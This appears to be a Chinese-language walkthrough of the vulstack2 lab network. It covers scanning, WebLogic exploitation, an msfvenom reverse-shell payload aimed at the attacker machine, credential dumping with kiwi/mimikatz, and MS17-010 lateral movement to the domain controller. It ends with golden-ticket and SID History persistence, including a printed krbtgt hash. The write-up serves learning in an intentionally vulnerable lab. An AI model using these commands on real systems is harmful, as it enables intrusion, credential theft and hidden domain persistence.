vulstack2 靶场做题笔记
环境配置
- DC
IP:10.10.10.10
OS:Windows 2012
- WEB
默认初始密码登陆不进去,利用 de1ay/1qaz@WSX登陆
IP1:10.10.10.80
IP2:192.168.111.80
OS:Windows 2008
- pc
IP1:10.10.10.201
IP2:192.168.111.201
OS:Windows 7
- 攻击机
kali
ip:192.168.111.130
内网网段:10.10.10.0/24
DMZ网段: 192.168.111.0/24
管理员账号密码:Administrator/1qaz@WSX
先从WEB机开始,注意需要手动开启服务,在 C:\Oracle\Middleware\user_projects\domains\base_domain\bin 下有一个 startWeblogic 的批处理,管理员身份运行它即可。
信息收集
假定我们现在有目标ip:192.168.111.80 然后我们现在要进行端口扫描,此时我们ping目标发现无法ping通,此时推测目标开启了防火墙
对于防火墙而言,除非特殊定义,否则全部ICMP消息包将被禁止通过防火墙(即不能使用ping命令来检验网络连接是否建立)。
nmap扫描
nmap -sS -sV 192.168.111.80
-sS 使用SYN半开式扫描
-sV 探测服务版本信息
SYN扫描:nmap向服务器发送一个syn数据报文,如果侦测到端口开放并返回SYN-ACK响应报文,nmap立即中断此次连接
或者直接
nmap -A -Pn -v -T4 192.168.111.80
-Pn 禁ping
-A 进行全面扫描(操作系统检测、版本检测、脚本检测和跟踪路由)
-T4 设置时序,级别越高速度越快
-v 显示更加详细的信息
相关信息
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Site doesn't have a title.
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2008 R2 Standard 7601 Service Pack 1 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2008 R2 10.50.4000.00; SP2
| ms-sql-ntlm-info:
| Target_Name: DE1AY
| NetBIOS_Domain_Name: DE1AY
| NetBIOS_Computer_Name: WEB
| DNS_Domain_Name: de1ay.com
| DNS_Computer_Name: WEB.de1ay.com
| DNS_Tree_Name: de1ay.com
|_ Product_Version: 6.1.7601
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2023-04-12T06:18:51
| Not valid after: 2053-04-12T06:18:51
| MD5: 1736 763c f611 574c 41f8 1914 2a6b 8b64
|_SHA-1: 7559 d877 1a13 24d7 4f13 441e e8f7 9479 9b89 954e
|_ssl-date: 2023-04-11T17:07:25+00:00; -14h20m00s from scanner time.
3389/tcp open ms-wbt-server?
| rdp-ntlm-info:
| Target_Name: DE1AY
| NetBIOS_Domain_Name: DE1AY
| NetBIOS_Computer_Name: WEB
| DNS_Domain_Name: de1ay.com
| DNS_Computer_Name: WEB.de1ay.com
| DNS_Tree_Name: de1ay.com
| Product_Version: 6.1.7601
|_ System_Time: 2023-04-11T17:06:44+00:00
| ssl-cert: Subject: commonName=WEB.de1ay.com
| Issuer: commonName=WEB.de1ay.com
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2023-04-10T15:56:11
| Not valid after: 2023-10-10T15:56:11
| MD5: 9913 8605 3705 7183 2758 6234 6632 d053
|_SHA-1: c00d 9c0a 0e09 7888 2339 74ef 66c5 9736 49d2 22b5
|_ssl-date: 2023-04-11T17:07:24+00:00; -14h20m01s from scanner time.
7001/tcp open http Oracle WebLogic Server 10.3.6.0 (Servlet 2.5; JSP 2.1; T3 enabled)
|_http-title: Error 404--Not Found
|_weblogic-t3-info: T3 protocol in use (WebLogic version: 10.3.6.0)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
OS: Windows Server 2008 R2 Standard 7601 Service Pack 1 (Windows Server 2008 R2 Standard 6.1)
| OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
| Computer name: WEB
| NetBIOS computer name: WEB\x00
| Domain name: de1ay.com
| Forest name: de1ay.com
| FQDN: WEB.de1ay.com
漏洞利用
很明显我们看到7001开放了weblogic服务,当然我们的基本素养就是知道7001端口是weblogc服务的默认端口,然后作为一个脚本小子肯定要用工具扫一下
用工具扫出来发现有 cve-2017-10271、cve-2019-2725漏洞
利用漏洞直接上传一个冰蝎木马
连接冰蝎
利用冰蝎直接反弹一个msf的shell,这里攻击机设置监听
然后利用集成的功能
上去之后我们意识到一个问题就是java维持的shell 没法getsystem,导致没法进一步利用,所以我们这里选择msf生成一个exe木马,上传到目标机器后再进一步利用
systeminfo 查看系统信息
也验证了我们之前端口扫描的 是一台x64机器 win2008r2
生成x64的exe木马
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.111.130 LPORT=6667 -f exe > n.exe
然后直接利用刚才的shell传入目标机器,这里失误传到web目录了,不过无伤大雅
本地设置监听
use exploit/multi/handler
set payload payload/windows/x64/meterpreter/reverse_tcp
set lport 6667
run
然后利用虚拟机终端运行得到shell
这里的坑点是我之前运行的exe崩溃了,导致后续的exe用虚拟终端运行了而监听的地方没反应
这里也是成功上线了,但是我之前tasklist /svc
的时候发现有360主动防御.exe,网上的一些文章说的是因为360的版本太低,没法杀死我的shell,后来发现这里是我没开启360,就先跳过这个免杀吧 ,后面补上。
进程迁移
有了shell之后简单的进行进程迁移,当前进程迁移到其他进程后 权限可能会根据进程权限而改变 可以找高权限的类似
这里我看这个是高权限的,然后就迁移了一下,莫名其妙获得了system权限,这里没搞懂,挖个坑。也不知道这个是不是真实的system权限
内网信息收集
确定是否是域环境
这里就很明显是了,而且hostname和whoami得到的前缀也不同
systeminfo
确定是域环境:域名为de1ay.com
查看路由表
这个的话就是可以大致得到一个网段的相关信息,以及可能存在的一些pc的ip,这里判断出192.168.111.0/24是外网的,10.10.10.0/24可能是内网的,我觉得dynamic的是要重点关注的
arp -a
网卡相关信息
ipconfig /all
这里我们看到10.10.10.0/24网段的dns服务器为10.10.10.10 极有可能就是域控服务器
查找域控服务器
一般为时间服务器
net time /domain
ping 一下域控,得到ip就是 10.10.10.10
域内主机
net view
我们知道是总共有三台机子的,pc dc web 但是我们这里只发现了dc和web两台机子
net view 这个命令可以查看网络计算机列表和共享的资源,具体的原因就是pc机器没有开启共享
我们到pc机里面看一下 确实是关闭了网络发现和文件、打印机共享
可以使用以下命令查看相应主机,但是吧,我们直接获得的就是域管理员的权限,所以能查看这个,当然相应的我们也可以去看其他的域内组,获得更多信息,至于为啥这里没有看到dc,因为dc机器属于域控制器了,在domain Controllers组里面
net group "domain computers" /domain
域内用户
net user /domain
收集密码
前提是我们需要是一个system权限,这里我是迁移了一下
load_kiwi
creds_all
我们知道了 administrator mssql de1ay用户的密码都是1qaz@WSX
简单总结
- 域名:de1ay
- 域内主机: dc 10.10.10.10 pc:10.10.10.201 web:10.10.10.80 192.168.111.80
- 域内用户:administrator de1ay guest krbtgt mssql
横向移动
内网扫描
arp扫描内网网段
run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24
扫描存活主机:
use auxiliary/scanner/smb/smb_version
这里不知道啥原因error了,不过结果应该和下面没太多区别
netbios做主机存货探测
use auxiliary/scanner/netbios/nbname
这里由于pc机开启了防火墙,所以无法探测到其存活
icmp协议探测
for /L %I in (1,1,254) DO @ping -w 1 -n 1 10.10.10.%I | findstr "TTL="
也是防火墙的原因,没探测到201机器的存活
总之经过以上的探测我们知道了,10.10.10.0/24网段中存在三台主机
- 10.10.10.10-DC
- 10.10.10.80-WEB 也就是当前机器
- 10.10.10.201 推测的话就是PC机器了,因为域内主机有一台是pc 和web
版本扫描
这里还用了smb_version,我推测的话就是扫网段的话用的netbios,对单个目标的话的话就是smb扫描
use auxiliary/scanner/smb/smb_version
![image-20230417153736294](vulstack2.assets/image-20230417153736294.png)
这里也是可以知道pc是win7,dc是2012 r2
永恒之蓝
- DC机器
这里注意使用bind_tcp
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhosts 10.10.10.10
run
这里直接获得shell
- PC机器
同样的攻击方式没有成功,猜测是因为存在防火墙and 360
psexec
use windows/smb/psexec
这里psexec没通,不知道为啥,密码的话已经不是1qaz@WSX了,因为登陆了dc机器后密码策略改了
权限维持
黄金票据
黄金票据可以在拥有普通域用户权限和KRBTGT账号的哈希的情况下用来获取域管理员权限,上面已经获得域控的 system 权限了,还可以使用黄金票据做权限维持,即使日后当域控权限掉了,也可以再通过域内其他任意机器伪造票据重新获取最高权限。
条件:
1.域名称
de1ay.com
2.域的SID值
wmic useraccount get name,sid
S-1-5-21-2756371121-2868759905-3853650604
3.域的KRBTGT账户NTLM密码哈希
hashdump
82dfc71b72a11ef37d663047bc2088fb
4.伪造用户名
admin
利用kiwi生成黄金票据
golden_ticket_create -d de1ay.com -k 82dfc71b72a11ef37d663047bc2088fb -s S-1-5-21-2756371121-2868759905-3853650604 -u admin -t /home/zinc/admin.ticket
然后使用
kerberos_ticket_use /home/zinc/admin.ticket
SID History域后门
在Windows中,每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。
如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。使用mimikatz,可以将SID History属性添加到域中任意用户的SID History属性中。在实战中,如果获得了域管理员权限,则可以将SID History作为实现持久化的方法。
首先我们在域控制器上新建一个恶意用户“whoami”:
net user whoami test123 /add
然后像之前一样用shellcode_inject启动mimikatz,然后执行如下命令,将域管理员Administrator的SID添加到恶意域用户 whoami 的SID History属性中
privilege::debug
sid::patch
sid::add /sam:whoami /new:Administrator //将Administrator的SID添加到whoami的SID History属性中
注意:在使用mimikatz注入SID之前,需要使用 sid::patch 命令修复NTDS服务,否则无法将高权限的SID注入低权限用户的SID History属性;mimikatz在2.1版本后,将 misc:addsid 模块添加到了 sid:add 模块下。
然后,我们可以用powershell查看一下这个whoami恶意用户的SID History:
load powershell
powershell_shell
Import-Module activedirectory
Get-ADUser whoami -Properties sidhistory
Get-ADUser administrator -Properties sidhistory
那么现在我们的whoami用户便拥有了administrator域管理员的权限,并可以用该用户随时登录域控主机。
简单总结
总体流程的话采用信息收集->漏洞利用,好像中间并没有涉及太多隧道搭建的东西,因为都用的msf,所以直接用msf+路由然后处理的,对于360的免杀也没有太多考量,可能是版本太低,没触发?所以后来我干脆用msf+多重编码+捆绑的方法简单免杀了,后续如果学习更多免杀的话再补上吧,总体下来感觉内网部分和1没有啥区别
参考资料: